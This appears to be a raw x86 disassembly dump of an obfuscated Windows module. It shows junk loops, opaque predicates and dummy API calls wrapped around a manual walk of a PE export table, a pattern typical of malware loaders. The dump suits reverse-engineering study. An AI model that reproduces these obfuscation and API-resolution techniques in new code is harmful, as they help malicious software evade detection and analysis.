mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x140c]
call fcn.10020c90
cmp dword [eax], 0x1a
jge 0x1003abf6
mov dword [ebp - 0x77c], 0x4c1a
mov dword [ebp - 0x10e0], 0x1000a844
cmp dword [ebp - 0x77c], 0x4d91
jle 0x1003abb5
and dword [ebp - 0x280], 0
jmp 0x1003ab22
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x835
jge 0x1003abb5
and dword [ebp - 0x274], 0
jmp 0x1003ab48
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x30d2
jge 0x1003abb0
and dword [ebp - 0x270], 0
jmp 0x1003ab6a
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0x74ed
jge 0x1003abae
mov eax, dword [ebp - 0x274]
imul eax, dword [ebp - 0x270]
or eax, dword [ebp - 0x280]
cdq
mov dword [ebp - 0x1178], eax
mov dword [ebp - 0x1174], edx
push dword [ebp - 0x1174]
push dword [ebp - 0x1178]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003ab5d
jmp 0x1003ab3b
jmp 0x1003ab15
mov byte [ebp - 0x145], 0
cmp dword [ebp - 0x77c], 0x4c0a
jge 0x1003abd8
mov edx, dword [ebp - 0x10e0]
mov ecx, 0x10085b58
call fcn.10023628
movzx eax, byte [ebp - 0x145]
test eax, eax
je 0x1003abf1
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidth32W]
jmp 0x1003aaae
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x140c]
call fcn.10020c74
jmp 0x1003aa3c
mov dword [ebp - 0x74], 0
jmp 0x1003ac1a
mov eax, dword [ebp - 0x74]
dec eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0xffffffe4
jle 0x1003adf9
mov dword [ebp - 0x1d4], 0x779a7b44
mov dword [ebp - 0x1328], 5
mov dword [ebp - 0x288], 0
cmp dword [ebp - 0x1d4], 0
jne 0x1003ac57
mov dword [ebp - 0x784], 1
jmp 0x1003ac5e
and dword [ebp - 0x784], 0
cmp dword [ebp - 0x784], 0xdacd
jl 0x1003ac76
mov dword [ebp - 0x7ac], 1
jmp 0x1003ac7d
and dword [ebp - 0x7ac], 0
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x1854], eax
mov eax, dword [ebp - 0x1328]
cmp dword [ebp - 0x74], eax
jge 0x1003aca0
mov dword [ebp - 0x78c], 1
jmp 0x1003aca7
and dword [ebp - 0x78c], 0
mov eax, dword [ebp - 0x1d4]
cmp eax, dword [ebp - 0x78c]
jle 0x1003acc1
mov dword [ebp - 0x794], 1
jmp 0x1003acc8
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x1d4]
cmp dword [ebp - 0x794], eax
je 0x1003ace2
mov dword [ebp - 0x79c], 1
jmp 0x1003ace9
and dword [ebp - 0x79c], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x79c], eax
jne 0x1003ad00
mov dword [ebp - 0x7a4], 1
jmp 0x1003ad07
and dword [ebp - 0x7a4], 0
imul eax, dword [ebp - 0x7a4], 0
cmp dword [ebp - 0x7ac], eax
jle 0x1003ad22
mov dword [ebp - 0x10ec], 1
jmp 0x1003ad29
and dword [ebp - 0x10ec], 0
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x1698], eax
mov eax, dword [ebp - 0x288]
add eax, 0x521fafbf
cmp eax, dword [ebp - 0x74]
jg 0x1003ad51
mov dword [ebp - 0x7b4], 1
jmp 0x1003ad58
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0x1d4]
cmp dword [ebp - 0x7b4], eax
jg 0x1003ad76
push 9
pop eax
test eax, eax
jne 0x1003ad76
and dword [ebp - 0x7bc], 0
jmp 0x1003ad80
mov dword [ebp - 0x7bc], 1
cmp dword [ebp - 0x7bc], 0x3725
je 0x1003ad98
mov dword [ebp - 0x7c4], 1
jmp 0x1003ad9f
and dword [ebp - 0x7c4], 0
cmp dword [ebp - 0x7c4], 0
jne 0x1003adb4
mov dword [ebp - 0x7cc], 1
jmp 0x1003adbb
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x7cc]
sub eax, 6
cmp eax, dword [ebp - 0x1d4]
jg 0x1003adde
cmp dword [ebp - 0x288], 0
jne 0x1003adde
and dword [ebp - 0x7d4], 0
jmp 0x1003ade8
mov dword [ebp - 0x7d4], 1
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x288], eax
jmp 0x1003ac13
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x7dc], 0x405f
mov dword [ebp - 0x10f8], 0x1000a878
cmp dword [ebp - 0x7dc], 0x41ac
jle 0x1003af06
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
and dword [ebp - 0x2a0], 0
jmp 0x1003ae44
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x3980
jge 0x1003af06
and dword [ebp - 0x290], 0
jmp 0x1003ae6a
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x1133
jge 0x1003af01
and dword [ebp - 0x298], 0
jmp 0x1003ae90
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x7ee8
jge 0x1003aefc
mov ecx, dword [ebp - 0x290]
imul ecx, dword [ebp - 0x298]
mov eax, dword [ebp - 0x2a0]
sar eax, cl
cdq
mov dword [ebp - 0x1184], eax
mov dword [ebp - 0x1180], edx
push dword [ebp - 0x1180]
push dword [ebp - 0x1184]
lea ecx, [ebp - 0x1aa8]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1400], eax
mov ecx, dword [ebp - 0x1400]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1aa8]
call fcn.100208ae
jmp 0x1003ae83
jmp 0x1003ae5d
jmp 0x1003ae37
cmp dword [ebp - 0x7dc], 0x3d4c
jge 0x1003af1e
push dword [ebp - 0x10f8]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x169c], 0xeb905d09
mov dword [ebp - 0x7ec], 0xffffffff
mov dword [ebp - 0x7e4], 0x2dae
mov dword [ebp - 0x1330], 0x1000a8e0
cmp dword [ebp - 0x7e4], 0x2e40
jle 0x1003b047
push 0
push 0
call dword [sym.imp.USER32.dll_GetSystemMenu]
and dword [ebp - 0x2c0], 0
jmp 0x1003af76
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0xb97
jge 0x1003b039
and dword [ebp - 0x2a8], 0
jmp 0x1003af9c
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x2e54
jge 0x1003b034
and dword [ebp - 0x2b0], 0
jmp 0x1003afc2
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x75c0
jge 0x1003b02f
and dword [ebp - 0x2b8], 0
jmp 0x1003afe4
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x3fc5
jge 0x1003b02d
mov eax, dword [ebp - 0x2a8]
xor eax, dword [ebp - 0x2b0]
xor eax, dword [ebp - 0x2b8]
or eax, dword [ebp - 0x2c0]
cdq
mov dword [ebp - 0x1190], eax
mov dword [ebp - 0x118c], edx
push dword [ebp - 0x118c]
push dword [ebp - 0x1190]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003afd7
jmp 0x1003afb5
jmp 0x1003af8f
jmp 0x1003af69
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov dword [ebp - 0xc4], 0
jmp 0x1003b060
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 1
jge 0x1003b07c
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x1104], 0
jmp 0x1003b053
cmp dword [ebp - 0x7e4], 0x2a04
jge 0x1003b098
mov edx, dword [ebp - 0x1330]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0xc4], 0
jmp 0x1003b0b1
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 2
jge 0x1003b0cd
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x1a00], 0x738ab659
jmp 0x1003b0a4
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1104], 0xae355683
mov eax, dword [ebp - 0x7ec]
inc eax
mov dword [ebp - 0x7ec], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1fc]
mov edx, dword [ebp - 0x1d8]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xf4], edx
mov dword [ebp - 0x7f4], 0x1500
mov dword [ebp - 0x1110], 0x1000a910
cmp dword [ebp - 0x7f4], 0x1782
jle 0x1003b20a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
and dword [ebp - 0x2c8], 0
jmp 0x1003b14b
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x2830
jge 0x1003b20a
and dword [ebp - 0x2d0], 0
jmp 0x1003b171
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x57b6
jge 0x1003b205
and dword [ebp - 0x2d8], 0
jmp 0x1003b197
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x19f0
jge 0x1003b200
mov eax, dword [ebp - 0x2c8]
add eax, dword [ebp - 0x2d0]
and eax, dword [ebp - 0x2d8]
cdq
mov dword [ebp - 0x119c], eax
mov dword [ebp - 0x1198], edx
push dword [ebp - 0x1198]
push dword [ebp - 0x119c]
lea ecx, [ebp - 0x1ad8]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1458], eax
mov ecx, dword [ebp - 0x1458]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1ad8]
call fcn.100208ae
jmp 0x1003b18a
jmp 0x1003b164
jmp 0x1003b13e
cmp dword [ebp - 0x7f4], 0x1396
jge 0x1003b222
push dword [ebp - 0x1110]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x16a4], 0x8b13eca4
mov dword [ebp - 0x16ac], 7
mov dword [ebp - 0x16b4], 0xffffffff
mov dword [ebp - 0x16bc], 0x9cf30836
mov dword [ebp - 0x16c4], 0x96e6a373
mov dword [ebp - 0x1694], 0x8047
mov dword [ebp - 0x710], 3
mov dword [ebp - 0x2e0], 0
jmp 0x1003b281
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 2
jge 0x1003b29d
mov eax, dword [ebp - 0x2e0]
mov dword [ebp + eax*4 - 0x1a08], 0x77dd6887
jmp 0x1003b274
mov byte [ebp - 0x18f], 0
movzx eax, byte [ebp - 0x18f]
test eax, eax
je 0x1003b2b9
push 0
push 0
call dword [sym.imp.GDI32.dll_SetTextColor]
mov eax, dword [ebp - 0x710]
inc eax
mov dword [ebp - 0x710], eax
mov eax, 0xffff
mov word [ebp - 0xa4], ax
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x1c4], 7
mov dword [ebp - 0x804], 0x1e2c
mov dword [ebp - 0x1338], 0x1000a938
cmp dword [ebp - 0x804], 0x2194
jle 0x1003b3af
and dword [ebp - 0x2f8], 0
jmp 0x1003b31d
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x6b02
jge 0x1003b3af
and dword [ebp - 0x2e8], 0
jmp 0x1003b343
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x3009
jge 0x1003b3aa
and dword [ebp - 0x2f0], 0
jmp 0x1003b365
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x2231
jge 0x1003b3a8
mov eax, dword [ebp - 0x2e8]
sub eax, dword [ebp - 0x2f0]
or eax, dword [ebp - 0x2f8]
cdq
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], edx
push dword [ebp - 0x11a4]
push dword [ebp - 0x11a8]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003b358
jmp 0x1003b336
jmp 0x1003b310
push 1
lea ecx, [ebp - 0x166c]
call fcn.10020bf2
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x804], 0x1dcd
jge 0x1003b3df
mov edx, dword [ebp - 0x1338]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x83c], 0xbbbc254e
mov dword [ebp - 0x844], 0xcf59f89f
mov dword [ebp - 0x1410], 0x7f47073
mov dword [ebp - 0xa8], 0
jmp 0x1003b416
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jge 0x1003b435
push dword [ebp - 0xa8]
lea ecx, [ebp - 0x166c]
call fcn.10020c90
or dword [eax], 0xffffffff
jmp 0x1003b409
mov dword [ebp - 0xa8], 0
jmp 0x1003b44e
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x1003b46a
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x19f0], 0xfc24489
jmp 0x1003b441
mov dword [ebp - 0x24], 0
jmp 0x1003b47a
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffeb
jl 0x1003b562
mov dword [ebp - 0x6a8], 0x2ff4
mov dword [ebp - 0x82c], 1
mov dword [ebp - 0x111c], 0xfffffffc
cmp dword [ebp - 0x24], 0
je 0x1003b4ad
jmp 0x1003b562
cmp dword [ebp - 0x6a8], 0
je 0x1003b534
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jg 0x1003b4ca
mov dword [ebp - 0x80c], 1
jmp 0x1003b4d1
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x6a8]
cmp dword [ebp - 0x80c], eax
jl 0x1003b4eb
mov dword [ebp - 0x814], 1
jmp 0x1003b4f2
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x814]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x6a8]
cmp dword [ebp - 0x1c4], eax
je 0x1003b518
mov dword [ebp - 0x81c], 1
jmp 0x1003b51f
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0x81c]
inc eax
je 0x1003b534
mov dword [ebp - 0x824], 1
jmp 0x1003b53b
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0x82c], eax
mov eax, dword [ebp - 0x82c]
mov dword [ebp - 0x16d4], eax
mov dword [ebp - 0x111c], 0x4c3f4f88
jmp 0x1003b473
cmp dword [ebp - 0x24], 0
jne 0x1003b5f8
cmp dword [ebp - 0x24], 0
ja 0x1003b57e
mov dword [ebp - 0x834], 1
jmp 0x1003b585
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x834]
sub eax, dword [ebp - 0x24]
je 0x1003b5ab
cmp dword [ebp - 0x24], 0
je 0x1003b5ab
cmp dword [ebp - 0x1c4], 0
je 0x1003b5ab
mov dword [ebp - 0x670], 1
jmp 0x1003b5b2
and dword [ebp - 0x670], 0
push 0
lea ecx, [ebp - 0x166c]
call fcn.10020c90
mov ecx, dword [ebp - 0x670]
mov dword [eax], ecx
mov eax, dword [ebp - 0x670]
mov dword [ebp - 0x83c], eax
mov eax, dword [ebp - 0x83c]
neg eax
mov dword [ebp - 0x844], eax
mov eax, dword [ebp - 0x844]
cmp dword [ebp - 0x1c4], eax
jl 0x1003b5f8
and dword [ebp - 0x84c], 0
jmp 0x1003b602
mov dword [ebp - 0x84c], 1
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x84c], eax
jge 0x1003b619
mov dword [ebp - 0x854], 1
jmp 0x1003b620
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x85c], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x85c]
mov dword [ebp + eax - 0x19f0], ecx
mov eax, dword [ebp - 0x85c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1410], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x166c]
call fcn.10020c74
or dword [ebp - 0x1c8], 0xffffffff
mov dword [ebp - 0x300], 0xb110c93b
mov dword [ebp - 0x16dc], 0x3e63e315
mov dword [ebp - 0x1140], 0x2ca3c0bf
mov dword [ebp - 0x114c], 3
mov dword [ebp - 0x16e4], 0x7a7525d2
mov dword [ebp - 0x14d4], 1
mov dword [ebp - 0x14d0], 1
mov dword [ebp - 0x14cc], 1
mov dword [ebp - 0x14c8], 1
mov dword [ebp - 0x6bc], 0x3147f59e
mov dword [ebp - 0x1420], 0
mov dword [ebp - 0x300], 0
jmp 0x1003b6fc
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0x14
jl 0x1003ba3f
mov dword [ebp - 0x1134], 0xe17f7596
mov dword [ebp - 0x1348], 0
mov dword [ebp - 0x89c], 0x22a149ce
mov dword [ebp - 0x884], 7
mov dword [ebp - 0x16ec], 0x82e77e81
mov dword [ebp - 0x864], 0x6d5d
mov dword [ebp - 0x1340], 0x1000a994
cmp dword [ebp - 0x864], 0x6d7f
jle 0x1003b7ff
and dword [ebp - 0x308], 0
jmp 0x1003b775
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x7d00
jge 0x1003b7ff
and dword [ebp - 0x310], 0
jmp 0x1003b797
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x7ff8
jge 0x1003b7fa
mov eax, dword [ebp - 0x308]
add eax, dword [ebp - 0x310]
cdq
mov dword [ebp - 0x11b4], eax
mov dword [ebp - 0x11b0], edx
push dword [ebp - 0x11b0]
push dword [ebp - 0x11b4]
lea ecx, [ebp - 0x1b08]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1128], eax
mov ecx, dword [ebp - 0x1128]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1b08]
call fcn.100208ae
jmp 0x1003b78a
jmp 0x1003b768
mov dword [ebp - 0x16f4], 5
cmp dword [ebp - 0x864], 0x69cc
jge 0x1003b821
push dword [ebp - 0x1340]
call fcn.1006abb3
pop ecx
push 3
lea ecx, [ebp - 0x141c]
call fcn.10020bf2
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0xb0], 0
jmp 0x1003b84e
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x1003b86a
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x1878], 0xc40ed3c1
jmp 0x1003b841
mov dword [ebp - 0xb0], 0
jmp 0x1003b883
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x1003b8a5
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x141c]
call fcn.10020c90
mov dword [eax], 0x19139f48
jmp 0x1003b876
cmp dword [ebp - 0x1134], 0
jne 0x1003b8c7
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x14d4], 0
jne 0x1003b8c7
and dword [ebp - 0x1454], 0
jmp 0x1003b8d1
mov dword [ebp - 0x1454], 1
xor eax, eax
inc eax
je 0x1003b8dd
cmp dword [ebp - 0x89c], 0
mov eax, dword [ebp - 0x1140]
mov dword [ebp - 0x16fc], eax
push 1
lea ecx, [ebp - 0x141c]
call fcn.10020c90
mov eax, dword [eax]
mov dword [ebp - 0x1348], eax
mov esi, dword [ebp - 0x114c]
sub esi, 4
push 1
lea ecx, [ebp - 0x141c]
call fcn.10020c90
cmp esi, dword [eax]
jne 0x1003b924
mov dword [ebp - 0x86c], 1
jmp 0x1003b92b
and dword [ebp - 0x86c], 0
push 1
lea ecx, [ebp - 0x141c]
call fcn.10020c90
mov ecx, dword [ebp - 0x86c]
cmp ecx, dword [eax]
jl 0x1003b94e
mov dword [ebp - 0x874], 1
jmp 0x1003b955
and dword [ebp - 0x874], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x14d4]
cmp dword [ebp - 0x874], eax
jg 0x1003b976
mov dword [ebp - 0x87c], 1
jmp 0x1003b97d
and dword [ebp - 0x87c], 0
cmp dword [ebp - 0x87c], 0x3c34
jl 0x1003b995
mov dword [ebp - 0x88c], 1
jmp 0x1003b99c
and dword [ebp - 0x88c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x14d4]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x884]
cmp eax, dword [ebp - 0x88c]
jl 0x1003b9c6
cmp dword [ebp - 0x1420], 0
jne 0x1003b9d8
mov eax, 0xfffb
test eax, eax
jne 0x1003b9d8
and dword [ebp - 0x1158], 0
jmp 0x1003b9e2
mov dword [ebp - 0x1158], 1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1878], 0xffffffff
mov eax, dword [ebp - 0x6bc]
dec eax
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 0xa50e
jne 0x1003ba18
mov dword [ebp - 0x894], 1
jmp 0x1003ba1f
and dword [ebp - 0x894], 0
mov eax, dword [ebp - 0x894]
mov dword [ebp - 0x89c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x141c]
call fcn.10020c74
jmp 0x1003b6ef
cmp dword [ebp + 0x10], 0
jbe 0x1003bdbd
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1003bdb8
mov dword [ebp - 0xec], 0x96dd1e1e
mov dword [ebp - 0x8a4], 0x1631
mov dword [ebp - 0x1164], 0x1000a9a8
cmp dword [ebp - 0x8a4], 0x173d
jle 0x1003bb6a
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Polygon]
and dword [ebp - 0x318], 0
jmp 0x1003baab
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x3f3d
jge 0x1003bb6a
and dword [ebp - 0x320], 0
jmp 0x1003bad1
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x26d4
jge 0x1003bb65
and dword [ebp - 0x268], 0
jmp 0x1003baf7
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0xa2c
jge 0x1003bb60
mov eax, dword [ebp - 0x318]
sub eax, dword [ebp - 0x320]
xor eax, dword [ebp - 0x268]
cdq
mov dword [ebp - 0x11c0], eax
mov dword [ebp - 0x11bc], edx
push dword [ebp - 0x11bc]
push dword [ebp - 0x11c0]
lea ecx, [ebp - 0x1b38]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1350], eax
mov ecx, dword [ebp - 0x1350]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1b38]
call fcn.100208ae
jmp 0x1003baea
jmp 0x1003bac4
jmp 0x1003ba9e
mov dword [ebp - 0x1704], 0xffffffff
cmp dword [ebp - 0x8a4], 0x13bc
jge 0x1003bb8c
push dword [ebp - 0x1164]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x170c], 0xfffffffb
mov dword [ebp - 0x1e4], 0x1f1e
mov dword [ebp - 0x26c], 0
jmp 0x1003bbb9
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 1
jge 0x1003bbd5
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0x1714], 0
jmp 0x1003bbac
mov dword [ebp - 0xec], 0
jmp 0x1003bbee
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jg 0x1003bc6e
mov dword [ebp - 0x171c], 0xea68
push 4
lea ecx, [ebp - 0x18a4]
call fcn.10020bf2
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x328], 0
jmp 0x1003bc2e
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 4
jge 0x1003bc4d
push dword [ebp - 0x328]
lea ecx, [ebp - 0x18a4]
call fcn.10020c90
or dword [eax], 0xffffffff
jmp 0x1003bc21
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18a4]
call fcn.10020c74
jmp 0x1003bbe1
mov dword [ebp - 0x1e4], 0
jmp 0x1003bc87
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x26
jge 0x1003bdad
mov dword [ebp - 0x8ac], 0x519f
mov dword [ebp - 0x1170], 0x1000a9d0
cmp dword [ebp - 0x8ac], 0x5507
jle 0x1003bd58
and dword [ebp - 0x330], 0
jmp 0x1003bcce
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x26b7
jge 0x1003bd58
and dword [ebp - 0x338], 0
jmp 0x1003bcf0
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x8033
jge 0x1003bd53
mov eax, dword [ebp - 0x330]
add eax, dword [ebp - 0x338]
cdq
mov dword [ebp - 0x11cc], eax
mov dword [ebp - 0x11c8], edx
push dword [ebp - 0x11c8]
push dword [ebp - 0x11cc]
lea ecx, [ebp - 0x1b68]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1468], eax
mov ecx, dword [ebp - 0x1468]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1b68]
call fcn.100208ae
jmp 0x1003bce3
jmp 0x1003bcc1
mov dword [ebp - 0x1358], 0x7d37
cmp dword [ebp - 0x8ac], 0x4ef1
jge 0x1003bd7a
push dword [ebp - 0x1170]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0xec], 0
jmp 0x1003bd93
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x1003bda8
mov dword [ebp - 0x1358], 0
jmp 0x1003bd86
jmp 0x1003bc7a
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0xa4], ax
jmp 0x1003e3f9
mov dword [ebp - 0x360], 0x24a8c6a5
mov dword [ebp - 0x8b4], 0x5c36
mov dword [ebp - 0x1430], 0x1000aa1c
cmp dword [ebp - 0x8b4], 0x5dfb
jle 0x1003bf09
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
and dword [ebp - 0x350], 0
jmp 0x1003be0b
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x6581
jge 0x1003befb
and dword [ebp - 0x340], 0
jmp 0x1003be31
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x6d26
jge 0x1003bef6
and dword [ebp - 0x348], 0
jmp 0x1003be57
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x1399
jge 0x1003bef1
and dword [ebp - 0x358], 0
jmp 0x1003be7d
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x174a
jge 0x1003beec
mov eax, dword [ebp - 0x340]
add eax, dword [ebp - 0x348]
and eax, dword [ebp - 0x350]
or eax, dword [ebp - 0x358]
cdq
mov dword [ebp - 0x11d8], eax
mov dword [ebp - 0x11d4], edx
push dword [ebp - 0x11d4]
push dword [ebp - 0x11d8]
lea ecx, [ebp - 0x1b98]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x117c], eax
mov ecx, dword [ebp - 0x117c]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1b98]
call fcn.100208ae
jmp 0x1003be70
jmp 0x1003be4a
jmp 0x1003be24
jmp 0x1003bdfe
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCA]
mov dword [ebp - 0x1188], 0x6ccb0362
cmp dword [ebp - 0x8b4], 0x59b1
jge 0x1003bf2b
push dword [ebp - 0x1430]
call fcn.1006abb3
pop ecx
mov byte [ebp - 0x14d], 0
movzx eax, byte [ebp - 0x14d]
test eax, eax
